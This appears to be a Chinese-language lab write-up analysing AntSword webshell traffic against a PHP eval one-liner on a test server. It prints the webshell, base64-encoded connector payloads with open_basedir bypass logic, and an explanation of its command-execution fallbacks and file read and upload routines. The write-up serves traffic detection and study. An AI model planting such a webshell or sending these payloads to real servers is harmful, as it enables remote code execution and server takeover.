蚁剑PHP木马流量分析
环境为 phpstudy,木马为一句话木马 <?php @eval($_POST['cmd']); ?>
,Webshell 地址为 http://192.168.217.142/webshell/shell01.php
,
Defaut 编码器#
初始测试#
首先选择 Defaut 编码器,然后操作如下
我们点击测试连接
流量如下
注意到流量特征
- HTTP 使用的是 POST 请求,路径为 WebShell 路径
Content-Type
为 application/x-www-form-urlencoded
追踪 TCP 流
可以看到,在 POST 请求中,存在一个 cmd 参数;然后返回了一些系统信息
先看一下这个 POST 参数
其中 cmd 是我们的参数,也就是我们 webshell 的密码。对 cmd 参数内容进行解码处理,得到如下 php 代码
捋一下代码。首先设置错误显示为 0,禁止错误信息输出;设置脚本的最大执行时间为无限制。然后获取 PHP 的 open_basedir 限制,这里默认设置是空
然后下面那一段 if 函数就不用看了。然后写了俩函数,接着开始缓冲,获取当前文件的位置,如果获取不到,就又换了个函数去获取。接着,如果不是 \
开头,也就是说当前系统是 linux,那么就去找盘符,并将内容传给 R 变量。接着获取当前用户信息,获取系统信息并构建返回字符串。R 先加系统信息,然后加用户信息。也就是说,R 现在是 路径 盘符 系统信息 用户信息
。接着输出 R 变量,先存在缓冲区里
接着调用了 asoutput();
,这个函数清空缓冲区后,会输出固定的字符串 echo "f5fff" . "ec646";
,即 f5fffec646
。然后调用 asenc
函数并传入参数 output
。该函数会返回传入的参数值,即返回 output
参数值。output
的值是当前缓冲区里的内容,也就是 R 变量的内容。然后输出 1eb15451
结果如下
命令执行测试#
我们执行 dir
命令,得到如下流量
可以看到,返回了 dir
的结果,POST 参数如下
这里注意一下,流量里还有这几个参数
b23a17e8a00b5f
:TW
g901d4a8935157
:9pY2QgL2QgIkQ6L3BocHN0dWR5X3Byby9XV1cvd2Vic2hlbGwiJmRpciZlY2hvIGNkNTliZjExMCZjZCZlY2hvIDk1YmExYzNk
xb0849d56f9f22
:UzY21k
然后我们从上往下捋一遍代码。一开始和上面的一样,就不说了,主要是缓冲区代码部分不同。
首先是解码了三个参数的数据,从第二个字符开始截取,然后 base 64 解码,我们试试
b23a17e8a00b5f
截完就是空的g901d4a8935157
截取后解码,得到 cd /d "D:/phpstudy_pro/WWW/webshell"&dir&echo cd59bf110&cd&echo 95ba1c3d
xb0849d56f9f22
截取后解码,得到 cmd
然后读取目录,看目录的第一个字符是不是 /
,如果是的话,就说明是 Linux 系统,不是就是 Windows,接着设置命令参数。然后根据目录的不同,去设置不同系统的环境变量,然后拆分成数组,挨个设置。接着设置好完整的命令代码。
将命令传给 runcmd
函数,首选它初始化返回值 $ret
为 0,并获取当前脚本的目录。根据可用的 PHP 函数,函数尝试使用 system
、passthru
、shell_exec
、exec
、popen
或 proc_open
执行传入的命令 $c
。如果环境支持,还会尝试使用 runshellshock
函数。如果脚本在 Windows 环境下且可用 COM 类,函数将创建一个 WScript.shell
对象执行命令并读取其输出。最后,如果命令未能找到,返回值会设置为 127。最终返回结果。如果返回值不为 0,输出返回值
看看 runshellshock
函数。首先,它检查传入的目录 $d
是否为 Unix 风格(即以 ”/” 开头),并确认 putenv
函数和 error_log
或 mail
函数是否可用。如果条件满足,它会检查当前的 shell 是否为 bash。如果是,函数会创建一个临时文件用于存储命令输出,并通过设置环境变量 PHP_LOL
执行传入的命令,将标准输出和错误重定向到该临时文件。接着,如果可用,会记录一条消息到错误日志,或发送邮件到本地地址。最后,函数读取并输出临时文件的内容,并删除该文件;如果命令成功执行,返回 True
,否则返回 False
。
这里调用命令都是利用 fe
函数,它检查特定函数 $f
是否可用。首先,它通过 ini_get("disable_functions")
获取当前 PHP 配置中禁用的函数列表,并使用 explode
将其转换为数组 $d
。接着,如果数组为空,则将其初始化为空数组;如果不为空,它会将函数名标准化为小写,并去除多余的空格。最后,函数返回一个布尔值,表示 $f
是否存在、可调用,并且不在禁用列表中。这样可以有效地判断某个函数是否可以在当前环境中使用。
最后调用 asoutput
函数,和上面一样了
最终返回
GUI 读文件操作#
首先是蚁剑的 GUI 读文件
查看流量
分析 POST 参数
其他就不看了,重点就是缓冲区代码。其中 t375ea9d8483d
为 LERDovcGhwc3R1ZHlfcHJvL1dXVy93ZWJzaGVsbC9zaGVsbDAxLnBocA==
从一个通过 $_POST
传入的 Base64 编码的字符串中解码文件路径,然后读取该文件的内容并输出。首先,它使用 base64_decode
函数对 $_POST
数组中键为 "t375ea9d8483d"
的值进行解码,去掉前两个字符后赋值给变量 $F
,得到的是 D:/phpstudy_pro/WWW/webshell/shell01.php
。接下来,代码尝试使用 fopen
函数打开 $F
指定的文件,模式为只读 ("r"
)。若成功打开文件,它会使用 fread
函数读取文件内容,读取的字节数是文件大小,若文件大小为 0 则读取 4096 字节。读取到的内容会被输出。最后,使用 fclose
函数关闭文件句柄。如果在这一过程中发生任何异常,捕获 Exception
并输出错误信息,格式为 "ERROR://<错误信息>"
。
文件上传#
就不放流量了,直接看代码
yb6f4c93941b6a
参数为 mbRDovcGhwc3R1ZHlfcHJvL1dXVy93ZWJzaGVsbC8xLnR4dA==
,解出来得到 D:/phpstudy_pro/WWW/webshell/1.txt
z7e3c896d9613e
参数为 52575F49485A2E4B46593E4848532D49485A204141414142334E7A614331796332454141414144415141424141414241487153495359666B777546655832304B547479446870472F6E6D794D4B354D726D6A4B494C55624C7870457467772B346930734952347357744E70475356414D4C5A34594F384559367037464277307A347530414C6F32714338493736336C664B6C4E584831574857657852486437324D457078704F7A743739756B61624572374F57705264444549536A334D7945616C564E5947544B4D742F545157522F646E46642B54734442326152444251517139566651685A395A38363468755134447538504B673432706C7A6652504A73456865344A70453047573551526170395A4E484D2F34665353484A6C7771624271476465496A772B55377A592F526F6B784B3937392B6637534E36714D6339467A4155546E627746474C705A65346F687A3470504A4E726D524B66455254534B446F5877316B7264445A75455A7A436769707270523857714C76476F44586859737463726757553D0D0A0D0A
首先,它对 POST 请求中的一个参数进行解码,获取文件路径;然后获取另一个参数,并移除其中的回车和换行符,形成一行文本。接着,它通过循环将这行文本的每两个字符进行 URL 解码,最终将解码后的内容写入指定的文件。如果写入成功,返回 "1"
,失败则返回 "0"
。在执行过程中,如果发生异常,则捕获并输出错误信息。需要注意的是,这段代码存在安全隐患,攻击者可以利用它在服务器上写入任意文件,因此应对用户输入进行严格验证和限制。
文本处理得到
和要传的文件内容相同。
至于其他的操作,其实都大差不差了
Base64 编码器#
其实返回的结果都一样,就是请求处理的不同
la49b27c2d7398
为 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmMyYTA1ZGE0MzIwZiI7QG1rZGlyKCR0bWRpcik7aWYoIUBmaWxlX2V4aXN0cygkdG1kaXIpKXtjb250aW51ZTt9JHRtZGlyPXJlYWxwYXRoKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsICIuLiIpOyRjbnRhcnI9QHByZWdfc3BsaXQoIi9cXFxcfFwvLyIsJHRtZGlyKTtmb3IoJGk9MDskaTxzaXplb2YoJGNudGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO307QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTtAcm1kaXIoJHRtZGlyKTticmVhazt9O307O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiAkb3V0O307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjg2ZDRjIi4iMzZiMTciO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImY0OGIzIi4iMzg2Y2E5Ijt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=
解码得到
似曾相识的感觉,就是单纯的加了个处理而已,和 Defaut 一样。看看命令执行是什么样子的
r9bbc0bcf6c32a
解码后得到
呵!似曾相识燕归来。那往下就没啥好讲的了
CHR 编码器#
得到流量
一样的套路
RSA 编码器#
蚁剑支持 RSA 编解码,看一下流量
可以看到,这里已经被加密了。不过可惜的是,response 没有被加密。